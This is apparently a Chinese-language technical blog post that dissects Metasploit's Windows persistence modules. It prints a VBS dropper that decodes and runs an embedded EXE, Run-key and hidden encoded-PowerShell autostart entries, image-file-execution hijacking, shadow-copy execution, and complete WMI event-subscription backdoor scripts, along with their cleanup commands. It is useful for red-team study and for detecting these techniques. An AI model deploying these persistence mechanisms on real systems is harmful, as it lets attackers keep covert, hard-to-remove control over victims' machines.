Windows MSF Persistence taro Posted on Apr 4 2021 windows persistence metasploit # Winodows ## persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/persistence.rb ![](/api/file/getImage?fileId=6069644783f5f2000d000012) ### 流程介绍 先向`C:\Users\ADMINI~1\AppData\Local\Temp\3\jSgLRpYrARlA.vbs`写入 ```vbs Function LTYjvhDha(rGjFvtbipc) XnJXjQHtmjKAp = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _ "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _ rGjFvtbipc & "</B64DECODE>" Set gBdPHmDLMLTX = CreateObject("MSXML2.DOMDocument.3.0") gBdPHmDLMLTX.LoadXML(XnJXjQHtmjKAp) LTYjvhDha = gBdPHmDLMLTX.selectsinglenode("B64DECODE").nodeTypedValue set gBdPHmDLMLTX = nothing End Function Function YpSxHzciH() jWKeICZSWFrQUS = "TVqQA..........AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=" Dim mXWlfyWecErSpyi Set mXWlfyWecErSpyi = CreateObject("Scripting.FileSystemObject") Dim bVWPKJwTL Dim HiNuVJFIEBpr Set bVWPKJwTL = mXWlfyWecErSpyi.GetSpecialFolder(2) HiNuVJFIEBpr = bVWPKJwTL & "\" & mXWlfyWecErSpyi.GetTempName() mXWlfyWecErSpyi.CreateFolder(HiNuVJFIEBpr) GXRfjNGadfC = HiNuVJFIEBpr & "\" & "ultwFYK.exe" Dim naPBjyBYZxv Set naPBjyBYZxv = CreateObject("Wscript.Shell") VPKWnYqBJWacIB = LTYjvhDha(jWKeICZSWFrQUS) Set YcZuXGBKtBwSJ = CreateObject("ADODB.Stream") YcZuXGBKtBwSJ.Type = 1 YcZuXGBKtBwSJ.Open YcZuXGBKtBwSJ.Write VPKWnYqBJWacIB YcZuXGBKtBwSJ.SaveToFile GXRfjNGadfC, 2 naPBjyBYZxv.run GXRfjNGadfC, 0, true mXWlfyWecErSpyi.DeleteFile(GXRfjNGadfC) mXWlfyWecErSpyi.DeleteFolder(HiNuVJFIEBpr) End Function Do YpSxHzciH WScript.Sleep 10000 Loop ``` 此脚本模板 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/data/templates/scripts/to_exe.vbs.template 在 `HKCU(HKLM)\Software\Microsoft\Windows\CurrentVersion\Run\illeFBUshZc`注册键,值为`C:\Users\ADMINI~1\AppData\Local\Temp\3\jSgLRpYrARlA.vbs` ``` administrator@WIN-O3J51IJD1BE C:\Users\Administrator>reg query hkcu\Software\Microsoft\Windows\CurrentVersion\Run illeFBUshZc REG_SZ C:\Users\ADMINI~1\AppData\Local\Temp\3\jSg LRpYrARlA.vbs ``` > `HKCU(HKLM)\Software\Microsoft\Windows\CurrentVersion\Run` 为开机启动项 ## persistence_image_exec_options ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/windows/local/persistence_image_exec_options.md https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/persistence_image_exec_options.rb ![](/api/file/getImage?fileId=6069942383f5f2000d00002c) 需要`getsystem` ### 流程介绍 1. 检查`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`是否存在,若不存在则创建 2. 向`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe` 写入`GlobalFlag REG_DWORD 512` 3. 向`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe`写入`ReportingMode REG_DWORD 1` 4. 向`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe`写入`MonitorProcess REG_SZ payload_pathname` > 映像劫持 >映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。 > 映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序 > >ReportingMode和MonitorProcess 这两个项值的作用。 MonitorProcess的值表示监视器进程。 Reporting Mode可以设置为三个值 。 >| Flag | Value |解释 | | ---- | ---- | ---- | | LAUNCH_MONITORPROCESS | 0x1 | 检测到进程静默退出时,将会启动监视器进程(在GFLAGS.exe中,Silent Process Exit这个选项卡所填写的值,即MonitorProcess的项值)| | LOCAL_DUMP| 0x2| 检测到进程静默退出时,将会为受监视的进程创建转储文件| |NOTIFICATION|0x4 |检查到进程静默退出时,将会弹出一个通知| >https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options >https://www.anquanke.com/post/id/151425 ## persistence_service ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/persistence_service.rb https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/documentation/modules/exploit/windows/local/persistence_service.md ![](/api/file/getImage?fileId=606a7d4b83f5f2000d000055) ### 流程介绍 1. 向tmp目录下写入一个木马(service 木马,会自动注册服务) 2. 执行了这个可以自动注册服务的木马`cmd.exe /c "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\3\\ZSoUQrcy.exe" #{install_cmd}` 3. 写入清理方法 在teamserver端写入一个`/root/.msf4/logs/persistence/WIN-O3J51IJD1BE_20210404.1052/WIN-O3J51IJD1BE_20210404.1052.rc` ``` execute -H -f sc.exe -a "stop LCxF" execute -H -f sc.exe -a "delete LCxF" execute -H -i -f taskkill.exe -a "/f /im ZSoUQrcy.exe" rm "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\3\\ZSoUQrcy.exe" ``` service 木马 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/data/exploits/persistence_service/service.erb > 查看service `sc query |findstr "ABCD"` ## registry_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/registry_persistence.rb ![](/api/file/getImage?fileId=606a91d483f5f2000d00005b) ### 流程介绍 1. 检查`HKLM\SOFTWARE\Microsoft\`是否存在`PowerShell`键 2. 生成payload ``` %COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKCU:Software\SuNh9pKN').GetValue('w1lJTxH2'))))\" ``` 3. 生成`blob_reg`,在`HKCU:Software`下注册一个项目,此项目中新建一个键(名字同上),值为`blob payload`(`cmd_psh_payload`) 4. 向`#{root_path}\Software\Microsoft\Windows\CurrentVersion\Run`中写入 ``` 2AdSD REG_EXPAND_SZ %COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKCU:Software\SuNh9pKN').GetValue('w1lJTxH2'))))\" ``` >https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/registry_persistence.rb#L67 ## s4u_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/s4u_persistence.rb ![](/api/file/getImage?fileId=606a91d483f5f2000d00005a) **无机器** ### 流程介绍 通过创建一个service-for-user (S4U)的定时任务达到维持权限(只能2008/Vista以上) 1. ## vss_persistence ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/vss_persistence.rb ![](/api/file/getImage?fileId=606a91d483f5f2000d000059) ### 流程介绍 1. 开启卷影副本服务 2. 将木马上传 3. 获取卷影副本的id,这样可以通过`\\?\GLOBALROOT\Device\#{volume_id}\#{exe_path}`的方式找到木马文件 4. 删除原木马文件 5. 根据命令执行以下操作 #### execute ```cmd cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\{33d2c8f4-c82d-45fa-b9a7-4458ee264d54}\\Windows\Temp ``` #### schtasks ```cmd cmd.exe /c %SYSTEMROOT%\system32\schtasks.exe /create /sc minute /mo 0 /tn "RAMDOMNAME" /tr \\?\GLOBALROOT\Device\{33d2c8f4-c82d-45fa-b9a7-4458ee264d54}\\Windows\Temp ``` clean ```cmd execute -H -f cmd.exe -a "/c schtasks.exe /delete /tn RAMDOMNAME /f" ``` #### install_registry ```cmd reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v RAMDOMNAME /t REG_SZ /d 1 cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\{33d2c8f4-c82d-45fa-b9a7-4458ee264d54}\\Windows\Temp ``` clean ```cmd reg deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v RAMDOMNAME ``` > https://evilanne.github.io/2017/07/08/Volume-Shadow%E5%B0%8F%E6%8A%80%E5%B7%A7/ ## wmi_persistence 该模块将创建一个永久的WMI事件订阅,以使用一个实现无文件权限维持 ### 源码位置 https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/windows/local/wmi_persistence.rb ### 流程介绍 1. 创建过滤器 2. 创建消费者 3. 绑定启用事件订阅 > Event Consumers(事件处理) 一个Event Consumer代表当一个事件触发时进行的操作。可用的标准事件处理类: > - LogFileEventConsumer: 将事件数据写入到指定的日志文件 - ActiveScriptEventConsumer: 用来执行VBScript/JScript程序 - NTEventLogEventConsumer:创建一个包含事件数据的日志入口点 - SMTPEventConsumer:将事件数据用邮件发送 - CommandLineEventConsumer:执行一条命令 > 可以想象到,ActiveScriptEventConsumer和CommandLineEventConsumer类应该是攻击者处理事件时使用最频繁的。这两个事件处理类给攻击都提供了一种无文件式的执行任意代码的灵活性。 > 所有的事件处理类都在从__EventConsumer类继承而来的。 #### LOGON 系统启动4分钟后触发 ```powershell $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} ``` > **__InstanceModificationEvent** https://docs.microsoft.com/en-us/previous-versions/aa394272(v=vs.85) 在系统启动时触发 #### INTERVAL 将会在 CALLBACK_INTERVAL 秒后触发 ```powershell $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = "Trigger"} $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "Select * FROM __TimerEvent WHERE TimerID = 'trigger'"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} HEREDOC ``` > **__IntervalTimerInstruction** >https://docs.microsoft.com/en-us/windows/win32/wmisdk/creating-a-timer-event-with---timerinstruction >https://docs.microsoft.com/en-us/windows/win32/wmisdk/--timerevent >定时任务 > 先通过__IntervalTimerInstruction创造一个事件,再通过WQL获取这个事件,用这个事件来触发`CommandLineTemplate`从而执行木马 #### EVENT 对日志记录创造日志过滤器,(失败的登录请求日志id为4625),包含一个特殊的用户名。当然,必须要在这台机器上打开记录失败的登录日志功能,命令为 ``` auditpol.exe /set /subcategory:Logon /failure:Enable" ``` 当攻击者以此用户名登录时候,就会执行被编码的powershell payload ```powershell $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} ``` > **__InstanceCreationEvent** https://docs.microsoft.com/en-us/windows/win32/wmisdk/--instancecreationevent >**Win32_NTLogEvent** >https://docs.microsoft.com/en-us/previous-versions/windows/desktop/eventlogprov/win32-ntlogevent 对windows日志注册事件,当用户登录时候会产生登录日志,将此日志ID与用户名作为事件触发源, 触发方式 ``` smbclient \\\\192.168.110.123\\C$ -U datastore['USERNAME_TRIGGER'] <arbitrary password> ``` #### PROCESS 将会在特殊标记的进程启动时被触发 ```powershell $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} ``` >**Win32_ProcessStartTrace** >https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-processstarttrace >进程创建的时候触发 #### WAITFOR 这原文比较难懂,贴一下,防止理解错误 > The WAITFOR method creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is ctivated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. 整体类似于wait for后门,首先在开机四分钟后启动一个`waitfor.exe #{word}`,然后创建一个过滤器监听`waitfor`进程,如果出现`waitfor`进程结束(即接收到信号,程序退出),就新创建一个`waitfor`进程,命令为`cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe`,即等待连接,执行恶意命令,杀掉cmd父进程。 > wait for 后门 https://3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence ```powershell $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "Telemetrics"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = 'WQL'} $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "Telemetrics"; CommandLineTemplate = "waitfor.exe #{word}"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} Start-Process -FilePath waitfor.exe #{word} -NoNewWindow ``` 参考资料 > https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/ >https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf >https://4sysops.com/archives/powershell-eventing-subscribing-to-wmi-events/ >https://cloud.tencent.com/developer/article/1383783 >https://rcoil.me/2019/05/%E3%80%90%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E3%80%91WMIC%20%E4%BA%8B%E4%BB%B6%E8%AE%A2%E9%98%85/ >https://m0nst3r.me/pentest/%E5%88%A9%E7%94%A8WMI%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%8C%81%E4%B9%85%E5%8C%96%E7%9A%84%E5%BC%82%E6%AD%A5%E7%9A%84%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8.html 视图 Linux MSF Persistence